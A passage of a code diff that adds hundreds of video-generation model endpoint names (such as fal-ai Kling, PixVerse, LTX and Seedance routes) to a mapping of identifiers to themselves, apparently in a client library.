'alibaba/wan-3.0/text-to-video': 'alibaba/wan-3.0/text-to-video', + 'argil/avatars/audio-to-video': 'argil/avatars/audio-to-video', + 'argil/avatars/text-to-video': 'argil/avatars/text-to-video', + 'blackforestlabs/flux-3-max/image-to-video': + 'blackforestlabs/flux-3-max/image-to-video', + 'blackforestlabs/flux-3-max/keyframes-to-video': + 'blackforestlabs/flux-3-max/keyframes-to-video', + 'blackforestlabs/flux-3-max/text-to-video': + 'blackforestlabs/flux-3-max/text-to-video', + 'blackforestlabs/flux-3/draft-enhance': + 'blackforestlabs/flux-3/draft-enhance', + 'blackforestlabs/flux-3/edit-video': 'blackforestlabs/flux-3/edit-video', + 'blackforestlabs/flux-3/extend-video': 'blackforestlabs/flux-3/extend-video', + 'blackforestlabs/flux-3/extend-video/draft': + 'blackforestlabs/flux-3/extend-video/draft', + 'blackforestlabs/flux-3/first-last-frame-to-video': + 'blackforestlabs/flux-3/first-last-frame-to-video', + 'blackforestlabs/flux-3/first-last-frame-to-video/draft': + 'blackforestlabs/flux-3/first-last-frame-to-video/draft', + 'blackforestlabs/flux-3/image-to-video': + 'blackforestlabs/flux-3/image-to-video', + 'blackforestlabs/flux-3/image-to-video/draft': + 'blackforestlabs/flux-3/image-to-video/draft', + 'blackforestlabs/flux-3/keyframes-to-video': + 'blackforestlabs/flux-3/keyframes-to-video', + 'blackforestlabs/flux-3/keyframes-to-video/draft': + 'blackforestlabs/flux-3/keyframes-to-video/draft', + 'blackforestlabs/flux-3/text-to-video': + 'blackforestlabs/flux-3/text-to-video', + 'blackforestlabs/flux-3/text-to-video/draft': + 'blackforestlabs/flux-3/text-to-video/draft', + 'blackforestlabs/flux-video-upscale': 'blackforestlabs/flux-video-upscale', + 'bria/bria_video_eraser/erase/keypoints': + 'bria/bria_video_eraser/erase/keypoints', + 'bria/bria_video_eraser/erase/mask': 'bria/bria_video_eraser/erase/mask', + 'bria/bria_video_eraser/erase/prompt': 'bria/bria_video_eraser/erase/prompt', + 'bria/video/background-removal': 'bria/video/background-removal', + 'bria/video/background-removal/green-screen-despill': + 'bria/video/background-removal/green-screen-despill', + 'bria/video/background-removal/realtime': + 'bria/video/background-removal/realtime', + 'bria/video/background-removal/v3': 'bria/video/background-removal/v3', + 'bria/video/erase/keypoints': 'bria/video/erase/keypoints', + 'bria/video/erase/mask': 'bria/video/erase/mask', + 'bria/video/erase/prompt': 'bria/video/erase/prompt', + 'bria/video/increase-resolution': 'bria/video/increase-resolution', + 'bytedance/omnihuman/v2': 'bytedance/omnihuman/v2', + 'bytedance/seedance-2.0/fast/image-to-video': + 'bytedance/seedance-2.0/fast/image-to-video', + 'bytedance/seedance-2.0/fast/reference-to-video': + 'bytedance/seedance-2.0/fast/reference-to-video', + 'bytedance/seedance-2.0/fast/text-to-video': + 'bytedance/seedance-2.0/fast/text-to-video', + 'bytedance/seedance-2.0/mini/image-to-video': + 'bytedance/seedance-2.0/mini/image-to-video', + 'bytedance/seedance-2.0/mini/reference-to-video': + 'bytedance/seedance-2.0/mini/reference-to-video', + 'bytedance/seedance-2.0/mini/text-to-video': + 'bytedance/seedance-2.0/mini/text-to-video', + 'bytedance/seedance-2.0/us/image-to-video': + 'bytedance/seedance-2.0/us/image-to-video', + 'bytedance/seedance-2.0/us/reference-to-video': + 'bytedance/seedance-2.0/us/reference-to-video', + 'bytedance/seedance-2.0/us/text-to-video': + 'bytedance/seedance-2.0/us/text-to-video', + 'bytedance/seedance-2.5/us/draft/complete': + 'bytedance/seedance-2.5/us/draft/complete', + 'bytedance/seedance-2.5/us/image-to-video': + 'bytedance/seedance-2.5/us/image-to-video', + 'bytedance/seedance-2.5/us/reference-to-video': + 'bytedance/seedance-2.5/us/reference-to-video', + 'bytedance/seedance-2.5/us/text-to-video': + 'bytedance/seedance-2.5/us/text-to-video', + 'cassetteai/video-sound-effects-generator': + 'cassetteai/video-sound-effects-generator', + 'clarityai/crystal-video-upscaler': 'clarityai/crystal-video-upscaler', + 'creatify/boreal': 'creatify/boreal', + 'decart/lucy-2-5/realtime': 'decart/lucy-2-5/realtime', + 'decart/lucy-restyle': 'decart/lucy-restyle', + 'decart/lucy2-vton/realtime': 'decart/lucy2-vton/realtime', + 'fal-ai/ai-avatar/multi': 'fal-ai/ai-avatar/multi', + 'fal-ai/ai-avatar/multi-text': 'fal-ai/ai-avatar/multi-text', + 'fal-ai/ai-avatar/single-text': 'fal-ai/ai-avatar/single-text', + 'fal-ai/auto-caption': 'fal-ai/auto-caption', + 'fal-ai/ben/v2/video': 'fal-ai/ben/v2/video', + 'fal-ai/birefnet/v2/video': 'fal-ai/birefnet/v2/video', + 'fal-ai/bytedance-upscaler/upscale/video': + 'fal-ai/bytedance-upscaler/upscale/video', + 'fal-ai/bytedance/dreamactor/v2': 'fal-ai/bytedance/dreamactor/v2', + 'fal-ai/bytedance/omnihuman': 'fal-ai/bytedance/omnihuman', + 'fal-ai/bytedance/omnihuman/v1.5': 'fal-ai/bytedance/omnihuman/v1.5', + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video': + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video', + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video': + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video', + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video': + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video', + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video': + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video', + 'fal-ai/bytedance/seedance/v1/pro/image-to-video': + 'fal-ai/bytedance/seedance/v1/pro/image-to-video', + 'fal-ai/bytedance/seedance/v1/pro/text-to-video': + 'fal-ai/bytedance/seedance/v1/pro/text-to-video', + 'fal-ai/creatify/aurora': 'fal-ai/creatify/aurora', + 'fal-ai/davinci-magihuman': 'fal-ai/davinci-magihuman', + 'fal-ai/depth-anything-video': 'fal-ai/depth-anything-video', + 'fal-ai/dwpose/video': 'fal-ai/dwpose/video', + 'fal-ai/echomimic-v3': 'fal-ai/echomimic-v3', + 'fal-ai/elevenlabs/dubbing': 'fal-ai/elevenlabs/dubbing', + 'fal-ai/ffmpeg-api/compose': 'fal-ai/ffmpeg-api/compose', + 'fal-ai/ffmpeg-api/images-to-video': 'fal-ai/ffmpeg-api/images-to-video', + 'fal-ai/ffmpeg-api/merge-audio-video': 'fal-ai/ffmpeg-api/merge-audio-video', + 'fal-ai/ffmpeg-api/merge-videos': 'fal-ai/ffmpeg-api/merge-videos', + 'fal-ai/film/video': 'fal-ai/film/video', + 'fal-ai/flashhead': 'fal-ai/flashhead', + 'fal-ai/flux-3-action/so101': 'fal-ai/flux-3-action/so101', + 'fal-ai/framepack': 'fal-ai/framepack', + 'fal-ai/framepack/f1': 'fal-ai/framepack/f1', + 'fal-ai/framepack/flf2v': 'fal-ai/framepack/flf2v', + 'fal-ai/heygen/avatar3/digital-twin': 'fal-ai/heygen/avatar3/digital-twin', + 'fal-ai/heygen/avatar4/digital-twin': 'fal-ai/heygen/avatar4/digital-twin', + 'fal-ai/heygen/avatar4/image-to-video': + 'fal-ai/heygen/avatar4/image-to-video', + 'fal-ai/heygen/avatar5/digital-twin': 'fal-ai/heygen/avatar5/digital-twin', + 'fal-ai/heygen/v2/translate/precision': + 'fal-ai/heygen/v2/translate/precision', + 'fal-ai/heygen/v2/translate/speed': 'fal-ai/heygen/v2/translate/speed', + 'fal-ai/heygen/v2/video-agent': 'fal-ai/heygen/v2/video-agent', + 'fal-ai/heygen/v3/filler-word-removal': + 'fal-ai/heygen/v3/filler-word-removal', + 'fal-ai/heygen/v3/lipsync/precision': 'fal-ai/heygen/v3/lipsync/precision', + 'fal-ai/heygen/v3/lipsync/speed': 'fal-ai/heygen/v3/lipsync/speed', + 'fal-ai/heygen/v3/video-agent': 'fal-ai/heygen/v3/video-agent', + 'fal-ai/hunyuan-video': 'fal-ai/hunyuan-video', + 'fal-ai/hunyuan-video-foley': 'fal-ai/hunyuan-video-foley', + 'fal-ai/hunyuan-video-image-to-video': 'fal-ai/hunyuan-video-image-to-video', + 'fal-ai/hunyuan-video-v1.5/image-to-video': + 'fal-ai/hunyuan-video-v1.5/image-to-video', + 'fal-ai/hunyuan-video-v1.5/text-to-video': + 'fal-ai/hunyuan-video-v1.5/text-to-video', + 'fal-ai/hunyuan-video/video-to-video': 'fal-ai/hunyuan-video/video-to-video', + 'fal-ai/id-v2v': 'fal-ai/id-v2v', + 'fal-ai/id-v2v/relight': 'fal-ai/id-v2v/relight', + 'fal-ai/infinity-star/text-to-video': 'fal-ai/infinity-star/text-to-video', + 'fal-ai/kandinsky5-pro/image-to-video': + 'fal-ai/kandinsky5-pro/image-to-video', + 'fal-ai/kandinsky5-pro/text-to-video': 'fal-ai/kandinsky5-pro/text-to-video', + 'fal-ai/kandinsky5/text-to-video': 'fal-ai/kandinsky5/text-to-video', + 'fal-ai/kandinsky5/text-to-video/distill': + 'fal-ai/kandinsky5/text-to-video/distill', + 'fal-ai/kandinsky6-lite/image-to-video': + 'fal-ai/kandinsky6-lite/image-to-video', + 'fal-ai/kandinsky6-lite/text-to-video': + 'fal-ai/kandinsky6-lite/text-to-video', + 'fal-ai/kandinsky6-pro/image-to-video': + 'fal-ai/kandinsky6-pro/image-to-video', + 'fal-ai/kandinsky6-pro/text-to-video': 'fal-ai/kandinsky6-pro/text-to-video', + 'fal-ai/kandinsky6-vsr': 'fal-ai/kandinsky6-vsr', + 'fal-ai/kandinsky6-vsr/lite': 'fal-ai/kandinsky6-vsr/lite', + 'fal-ai/kling-video/ai-avatar/v2/pro': 'fal-ai/kling-video/ai-avatar/v2/pro', + 'fal-ai/kling-video/ai-avatar/v2/standard': + 'fal-ai/kling-video/ai-avatar/v2/standard', + 'fal-ai/kling-video/lipsync/audio-to-video': + 'fal-ai/kling-video/lipsync/audio-to-video', + 'fal-ai/kling-video/lipsync/text-to-video': + 'fal-ai/kling-video/lipsync/text-to-video', + 'fal-ai/kling-video/o1/image-to-video': + 'fal-ai/kling-video/o1/image-to-video', + 'fal-ai/kling-video/o1/reference-to-video': + 'fal-ai/kling-video/o1/reference-to-video', + 'fal-ai/kling-video/o1/standard/image-to-video': + 'fal-ai/kling-video/o1/standard/image-to-video', + 'fal-ai/kling-video/o1/standard/reference-to-video': + 'fal-ai/kling-video/o1/standard/reference-to-video', + 'fal-ai/kling-video/o1/standard/video-to-video/edit': + 'fal-ai/kling-video/o1/standard/video-to-video/edit', + 'fal-ai/kling-video/o1/standard/video-to-video/reference': + 'fal-ai/kling-video/o1/standard/video-to-video/reference', + 'fal-ai/kling-video/o1/video-to-video/edit': + 'fal-ai/kling-video/o1/video-to-video/edit', + 'fal-ai/kling-video/o1/video-to-video/reference': + 'fal-ai/kling-video/o1/video-to-video/reference', + 'fal-ai/kling-video/o3/4k/image-to-video': + 'fal-ai/kling-video/o3/4k/image-to-video', + 'fal-ai/kling-video/o3/4k/reference-to-video': + 'fal-ai/kling-video/o3/4k/reference-to-video', + 'fal-ai/kling-video/o3/4k/text-to-video': + 'fal-ai/kling-video/o3/4k/text-to-video', + 'fal-ai/kling-video/o3/4k/video-to-video/edit': + 'fal-ai/kling-video/o3/4k/video-to-video/edit', + 'fal-ai/kling-video/o3/4k/video-to-video/reference': + 'fal-ai/kling-video/o3/4k/video-to-video/reference', + 'fal-ai/kling-video/o3/pro/image-to-video': + 'fal-ai/kling-video/o3/pro/image-to-video', + 'fal-ai/kling-video/o3/pro/reference-to-video': + 'fal-ai/kling-video/o3/pro/reference-to-video', + 'fal-ai/kling-video/o3/pro/text-to-video': + 'fal-ai/kling-video/o3/pro/text-to-video', + 'fal-ai/kling-video/o3/pro/video-to-video/edit': + 'fal-ai/kling-video/o3/pro/video-to-video/edit', + 'fal-ai/kling-video/o3/pro/video-to-video/reference': + 'fal-ai/kling-video/o3/pro/video-to-video/reference', + 'fal-ai/kling-video/o3/standard/image-to-video': + 'fal-ai/kling-video/o3/standard/image-to-video', + 'fal-ai/kling-video/o3/standard/reference-to-video': + 'fal-ai/kling-video/o3/standard/reference-to-video', + 'fal-ai/kling-video/o3/standard/text-to-video': + 'fal-ai/kling-video/o3/standard/text-to-video', + 'fal-ai/kling-video/o3/standard/video-to-video/edit': + 'fal-ai/kling-video/o3/standard/video-to-video/edit', + 'fal-ai/kling-video/o3/standard/video-to-video/reference': + 'fal-ai/kling-video/o3/standard/video-to-video/reference', + 'fal-ai/kling-video/v1.5/pro/effects': 'fal-ai/kling-video/v1.5/pro/effects', + 'fal-ai/kling-video/v1.6/pro/effects': 'fal-ai/kling-video/v1.6/pro/effects', + 'fal-ai/kling-video/v1.6/standard/effects': + 'fal-ai/kling-video/v1.6/standard/effects', + 'fal-ai/kling-video/v1/pro/ai-avatar': 'fal-ai/kling-video/v1/pro/ai-avatar', + 'fal-ai/kling-video/v1/standard/ai-avatar': + 'fal-ai/kling-video/v1/standard/ai-avatar', + 'fal-ai/kling-video/v1/standard/effects': + 'fal-ai/kling-video/v1/standard/effects', + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video': + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video', + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video': + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video', + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video': + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video', + 'fal-ai/kling-video/v2.6/pro/image-to-video': + 'fal-ai/kling-video/v2.6/pro/image-to-video', + 'fal-ai/kling-video/v2.6/pro/motion-control': + 'fal-ai/kling-video/v2.6/pro/motion-control', + 'fal-ai/kling-video/v2.6/pro/text-to-video': + 'fal-ai/kling-video/v2.6/pro/text-to-video', + 'fal-ai/kling-video/v2.6/standard/motion-control': + 'fal-ai/kling-video/v2.6/standard/motion-control', + 'fal-ai/kling-video/v3/4k/image-to-video': + 'fal-ai/kling-video/v3/4k/image-to-video', + 'fal-ai/kling-video/v3/4k/text-to-video': + 'fal-ai/kling-video/v3/4k/text-to-video', + 'fal-ai/kling-video/v3/pro/image-to-video': + 'fal-ai/kling-video/v3/pro/image-to-video', + 'fal-ai/kling-video/v3/pro/motion-control': + 'fal-ai/kling-video/v3/pro/motion-control', + 'fal-ai/kling-video/v3/pro/text-to-video': + 'fal-ai/kling-video/v3/pro/text-to-video', + 'fal-ai/kling-video/v3/standard/image-to-video': + 'fal-ai/kling-video/v3/standard/image-to-video', + 'fal-ai/kling-video/v3/standard/motion-control': + 'fal-ai/kling-video/v3/standard/motion-control', + 'fal-ai/kling-video/v3/standard/text-to-video': + 'fal-ai/kling-video/v3/standard/text-to-video', + 'fal-ai/kling-video/v3/turbo/pro/image-to-video': + 'fal-ai/kling-video/v3/turbo/pro/image-to-video', + 'fal-ai/kling-video/v3/turbo/pro/text-to-video': + 'fal-ai/kling-video/v3/turbo/pro/text-to-video', + 'fal-ai/kling-video/v3/turbo/standard/image-to-video': + 'fal-ai/kling-video/v3/turbo/standard/image-to-video', + 'fal-ai/kling-video/v3/turbo/standard/text-to-video': + 'fal-ai/kling-video/v3/turbo/standard/text-to-video', + 'fal-ai/krea-wan-14b/text-to-video': 'fal-ai/krea-wan-14b/text-to-video', + 'fal-ai/krea-wan-14b/video-to-video': 'fal-ai/krea-wan-14b/video-to-video', + 'fal-ai/latentsync': 'fal-ai/latentsync', + 'fal-ai/lightx/recamera': 'fal-ai/lightx/recamera', + 'fal-ai/lightx/relight': 'fal-ai/lightx/relight', + 'fal-ai/live-portrait': 'fal-ai/live-portrait', + 'fal-ai/longcat-single-avatar/audio-to-video': + 'fal-ai/longcat-single-avatar/audio-to-video', + 'fal-ai/longcat-single-avatar/image-audio-to-video': + 'fal-ai/longcat-single-avatar/image-audio-to-video', + 'fal-ai/longcat-video/distilled/image-to-video/480p': + 'fal-ai/longcat-video/distilled/image-to-video/480p', + 'fal-ai/longcat-video/distilled/image-to-video/720p': + 'fal-ai/longcat-video/distilled/image-to-video/720p', + 'fal-ai/longcat-video/distilled/text-to-video/480p': + 'fal-ai/longcat-video/distilled/text-to-video/480p', + 'fal-ai/longcat-video/distilled/text-to-video/720p': + 'fal-ai/longcat-video/distilled/text-to-video/720p', + 'fal-ai/longcat-video/image-to-video/480p': + 'fal-ai/longcat-video/image-to-video/480p', + 'fal-ai/longcat-video/image-to-video/720p': + 'fal-ai/longcat-video/image-to-video/720p', + 'fal-ai/longcat-video/text-to-video/480p': + 'fal-ai/longcat-video/text-to-video/480p', + 'fal-ai/longcat-video/text-to-video/720p': + 'fal-ai/longcat-video/text-to-video/720p', + 'fal-ai/ltx-2.3-22b/audio-to-video': 'fal-ai/ltx-2.3-22b/audio-to-video', + 'fal-ai/ltx-2.3-22b/audio-to-video/lora': + 'fal-ai/ltx-2.3-22b/audio-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video': + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video', + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/image-to-video': + 'fal-ai/ltx-2.3-22b/distilled/image-to-video', + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video': + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video', + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/text-to-video': + 'fal-ai/ltx-2.3-22b/distilled/text-to-video', + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/video-to-video': + 'fal-ai/ltx-2.3-22b/distilled/video-to-video', + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora', + 'fal-ai/ltx-2.3-22b/extend-video': 'fal-ai/ltx-2.3-22b/extend-video', + 'fal-ai/ltx-2.3-22b/extend-video/lora': + 'fal-ai/ltx-2.3-22b/extend-video/lora', + 'fal-ai/ltx-2.3-22b/image-to-video': 'fal-ai/ltx-2.3-22b/image-to-video', + 'fal-ai/ltx-2.3-22b/image-to-video/lora': + 'fal-ai/ltx-2.3-22b/image-to-video/lora', + 'fal-ai/ltx-2.3-22b/reference-video-to-video': + 'fal-ai/ltx-2.3-22b/reference-video-to-video', + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-22b/text-to-video': 'fal-ai/ltx-2.3-22b/text-to-video', + 'fal-ai/ltx-2.3-22b/text-to-video/lora': + 'fal-ai/ltx-2.3-22b/text-to-video/lora', + 'fal-ai/ltx-2.3-22b/video-to-video': 'fal-ai/ltx-2.3-22b/video-to-video', + 'fal-ai/ltx-2.3-22b/video-to-video/lora': + 'fal-ai/ltx-2.3-22b/video-to-video/lora', + 'fal-ai/ltx-2.3-quality/audio-to-video': + 'fal-ai/ltx-2.3-quality/audio-to-video', + 'fal-ai/ltx-2.3-quality/audio-to-video/lora': + 'fal-ai/ltx-2.3-quality/audio-to-video/lora', + 'fal-ai/ltx-2.3-quality/clean-plate': 'fal-ai/ltx-2.3-quality/clean-plate', + 'fal-ai/ltx-2.3-quality/colorization': 'fal-ai/ltx-2.3-quality/colorization', + 'fal-ai/ltx-2.3-quality/cross-eyed': 'fal-ai/ltx-2.3-quality/cross-eyed', + 'fal-ai/ltx-2.3-quality/day-to-night': 'fal-ai/ltx-2.3-quality/day-to-night', + 'fal-ai/ltx-2.3-quality/deblur': 'fal-ai/ltx-2.3-quality/deblur', + 'fal-ai/ltx-2.3-quality/decompression': + 'fal-ai/ltx-2.3-quality/decompression', + 'fal-ai/ltx-2.3-quality/extend-video': 'fal-ai/ltx-2.3-quality/extend-video', + 'fal-ai/ltx-2.3-quality/extend-video/lora': + 'fal-ai/ltx-2.3-quality/extend-video/lora', + 'fal-ai/ltx-2.3-quality/hdr': 'fal-ai/ltx-2.3-quality/hdr', + 'fal-ai/ltx-2.3-quality/hdr/lora': 'fal-ai/ltx-2.3-quality/hdr/lora', + 'fal-ai/ltx-2.3-quality/image-to-video': + 'fal-ai/ltx-2.3-quality/image-to-video', + 'fal-ai/ltx-2.3-quality/image-to-video/lora': + 'fal-ai/ltx-2.3-quality/image-to-video/lora', + 'fal-ai/ltx-2.3-quality/ingredient': 'fal-ai/ltx-2.3-quality/ingredient', + 'fal-ai/ltx-2.3-quality/inpaint': 'fal-ai/ltx-2.3-quality/inpaint', + 'fal-ai/ltx-2.3-quality/inpaint/lora': 'fal-ai/ltx-2.3-quality/inpaint/lora', + 'fal-ai/ltx-2.3-quality/instant-shave': + 'fal-ai/ltx-2.3-quality/instant-shave', + 'fal-ai/ltx-2.3-quality/outpaint': 'fal-ai/ltx-2.3-quality/outpaint', + 'fal-ai/ltx-2.3-quality/outpaint/lora': + 'fal-ai/ltx-2.3-quality/outpaint/lora', + 'fal-ai/ltx-2.3-quality/reference-video-to-video': + 'fal-ai/ltx-2.3-quality/reference-video-to-video', + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-quality/render-to-real': + 'fal-ai/ltx-2.3-quality/render-to-real', + 'fal-ai/ltx-2.3-quality/text-to-video': + 'fal-ai/ltx-2.3-quality/text-to-video', + 'fal-ai/ltx-2.3-quality/text-to-video/lora': + 'fal-ai/ltx-2.3-quality/text-to-video/lora', + 'fal-ai/ltx-2.3-quality/water-simulation': + 'fal-ai/ltx-2.3-quality/water-simulation', + 'fal-ai/ltx-2.3/audio-to-video': 'fal-ai/ltx-2.3/audio-to-video', + 'fal-ai/ltx-2.3/extend-video': 'fal-ai/ltx-2.3/extend-video', + 'fal-ai/ltx-2.3/image-to-video': 'fal-ai/ltx-2.3/image-to-video', + 'fal-ai/ltx-2.3/image-to-video/fast': 'fal-ai/ltx-2.3/image-to-video/fast', + 'fal-ai/ltx-2.3/reframe': 'fal-ai/ltx-2.3/reframe', + 'fal-ai/ltx-2.3/retake-video': 'fal-ai/ltx-2.3/retake-video', + 'fal-ai/ltx-2.3/text-to-video': 'fal-ai/ltx-2.3/text-to-video', + 'fal-ai/ltx-2.3/text-to-video/fast': 'fal-ai/ltx-2.3/text-to-video/fast', + 'fal-ai/ltx-video': 'fal-ai/ltx-video', + 'fal-ai/ltx-video-13b-distilled': 'fal-ai/ltx-video-13b-distilled', + 'fal-ai/ltx-video-13b-distilled/extend': + 'fal-ai/ltx-video-13b-distilled/extend', + 'fal-ai/ltx-video-13b-distilled/image-to-video': + 'fal-ai/ltx-video-13b-distilled/image-to-video', + 'fal-ai/ltx-video-13b-distilled/multiconditioning': + 'fal-ai/ltx-video-13b-distilled/multiconditioning', + 'fal-ai/ltx-video/image-to-video': 'fal-ai/ltx-video/image-to-video', + 'fal-ai/ltxv-13b-098-distilled': 'fal-ai/ltxv-13b-098-distilled', + 'fal-ai/ltxv-13b-098-distilled/extend': + 'fal-ai/ltxv-13b-098-distilled/extend', + 'fal-ai/ltxv-13b-098-distilled/image-to-video': + 'fal-ai/ltxv-13b-098-distilled/image-to-video', + 'fal-ai/ltxv-13b-098-distilled/multiconditioning': + 'fal-ai/ltxv-13b-098-distilled/multiconditioning', + 'fal-ai/magi-distilled': 'fal-ai/magi-distilled', + 'fal-ai/magi-distilled/extend-video': 'fal-ai/magi-distilled/extend-video', + 'fal-ai/magi-distilled/image-to-video': + 'fal-ai/magi-distilled/image-to-video', + 'fal-ai/minimax/hailuo-02-fast/image-to-video': + 'fal-ai/minimax/hailuo-02-fast/image-to-video', + 'fal-ai/minimax/hailuo-02/pro/image-to-video': + 'fal-ai/minimax/hailuo-02/pro/image-to-video', + 'fal-ai/minimax/hailuo-02/pro/text-to-video': + 'fal-ai/minimax/hailuo-02/pro/text-to-video', + 'fal-ai/minimax/hailuo-02/standard/image-to-video': + 'fal-ai/minimax/hailuo-02/standard/image-to-video', + 'fal-ai/minimax/hailuo-02/standard/text-to-video': + 'fal-ai/minimax/hailuo-02/standard/text-to-video', + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video': + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video', + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video': + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video', + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video': + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video', + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video': + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video', + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video': + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video', + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video': + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video', + 'fal-ai/minimax/video-01': 'fal-ai/minimax/video-01', + 'fal-ai/minimax/video-01-director': 'fal-ai/minimax/video-01-director', + 'fal-ai/minimax/video-01-director/image-to-video': + 'fal-ai/minimax/video-01-director/image-to-video', + 'fal-ai/minimax/video-01-live': 'fal-ai/minimax/video-01-live', + 'fal-ai/minimax/video-01-live/image-to-video': + 'fal-ai/minimax/video-01-live/image-to-video', + 'fal-ai/minimax/video-01-subject-reference': + 'fal-ai/minimax/video-01-subject-reference', + 'fal-ai/minimax/video-01/image-to-video': + 'fal-ai/minimax/video-01/image-to-video', + 'fal-ai/mmaudio-v2': 'fal-ai/mmaudio-v2', + 'fal-ai/motion-to-code/glsl': 'fal-ai/motion-to-code/glsl', + 'fal-ai/motion-to-code/gsap': 'fal-ai/motion-to-code/gsap', + 'fal-ai/one-to-all-animation/1.3b': 'fal-ai/one-to-all-animation/1.3b', + 'fal-ai/one-to-all-animation/14b': 'fal-ai/one-to-all-animation/14b', + 'fal-ai/ovi': 'fal-ai/ovi', + 'fal-ai/ovi/image-to-video': 'fal-ai/ovi/image-to-video', + 'fal-ai/pixverse/c1/image-to-video': 'fal-ai/pixverse/c1/image-to-video', + 'fal-ai/pixverse/c1/reference-to-video': + 'fal-ai/pixverse/c1/reference-to-video', + 'fal-ai/pixverse/c1/text-to-video': 'fal-ai/pixverse/c1/text-to-video', + 'fal-ai/pixverse/c1/transition': 'fal-ai/pixverse/c1/transition', + 'fal-ai/pixverse/extend': 'fal-ai/pixverse/extend', + 'fal-ai/pixverse/extend/fast': 'fal-ai/pixverse/extend/fast', + 'fal-ai/pixverse/lipsync': 'fal-ai/pixverse/lipsync', + 'fal-ai/pixverse/sound-effects': 'fal-ai/pixverse/sound-effects', + 'fal-ai/pixverse/swap': 'fal-ai/pixverse/swap', + 'fal-ai/pixverse/v3.5/effects': 'fal-ai/pixverse/v3.5/effects', + 'fal-ai/pixverse/v3.5/image-to-video': 'fal-ai/pixverse/v3.5/image-to-video', + 'fal-ai/pixverse/v3.5/image-to-video/fast': + 'fal-ai/pixverse/v3.5/image-to-video/fast', + 'fal-ai/pixverse/v3.5/text-to-video': 'fal-ai/pixverse/v3.5/text-to-video', + 'fal-ai/pixverse/v3.5/text-to-video/fast': + 'fal-ai/pixverse/v3.5/text-to-video/fast', + 'fal-ai/pixverse/v3.5/transition': 'fal-ai/pixverse/v3.5/transition', + 'fal-ai/pixverse/v4.5/effects': 'fal-ai/pixverse/v4.5/effects', + 'fal-ai/pixverse/v4.5/image-to-video': 'fal-ai/pixverse/v4.5/image-to-video', + 'fal-ai/pixverse/v4.5/image-to-video/fast': + 'fal-ai/pixverse/v4.5/image-to-video/fast', + 'fal-ai/pixverse/v4.5/text-to-video': 'fal-ai/pixverse/v4.5/text-to-video', + 'fal-ai/pixverse/v4.5/text-to-video/fast': + 'fal-ai/pixverse/v4.5/text-to-video/fast', + 'fal-ai/pixverse/v4.5/transition': 'fal-ai/pixverse/v4.5/transition', + 'fal-ai/pixverse/v4/effects': 'fal-ai/pixverse/v4/effects', + 'fal-ai/pixverse/v4/image-to-video': 'fal-ai/pixverse/v4/image-to-video', + 'fal-ai/pixverse/v4/image-to-video/fast': + 'fal-ai/pixverse/v4/image-to-video/fast', + 'fal-ai/pixverse/v4/text-to-video': 'fal-ai/pixverse/v4/text-to-video', + 'fal-ai/pixverse/v4/text-to-video/fast': + 'fal-ai/pixverse/v4/text-to-video/fast', + 'fal-ai/pixverse/v5.5/effects': 'fal-ai/pixverse/v5.5/effects', + 'fal-ai/pixverse/v5.5/image-to-video': 'fal-ai/pixverse/v5.5/image-to-video', + 'fal-ai/pixverse/v5.5/text-to-video': 'fal-ai/pixverse/v5.5/text-to-video', + 'fal-ai/pixverse/v5.5/transition': 'fal-ai/pixverse/v5.5/transition', + 'fal-ai/pixverse/v5.6/image-to-video': 'fal-ai/pixverse/v5.6/image-to-video', + 'fal-ai/pixverse/v5.6/text-to-video': 'fal-ai/pixverse/v5.6/text-to-video', + 'fal-ai/pixverse/v5.6/transition': 'fal-ai/pixverse/v5.6/transition', + 'fal-ai/pixverse/v5/effects': 'fal-ai/pixverse/v5/effects', + 'fal-ai/pixverse/v5/image-to-video': 'fal-ai/pixverse/v5/image-to-video', + 'fal-ai/pixverse/v5/text-to-video': 'fal-ai/pixverse/v5/text-to-video', + 'fal-ai/pixverse/v5/transition': 'fal-ai/pixverse/v5/transition', + 'fal-ai/pixverse/v6/extend': 'fal-ai/pixverse/v6/extend', + 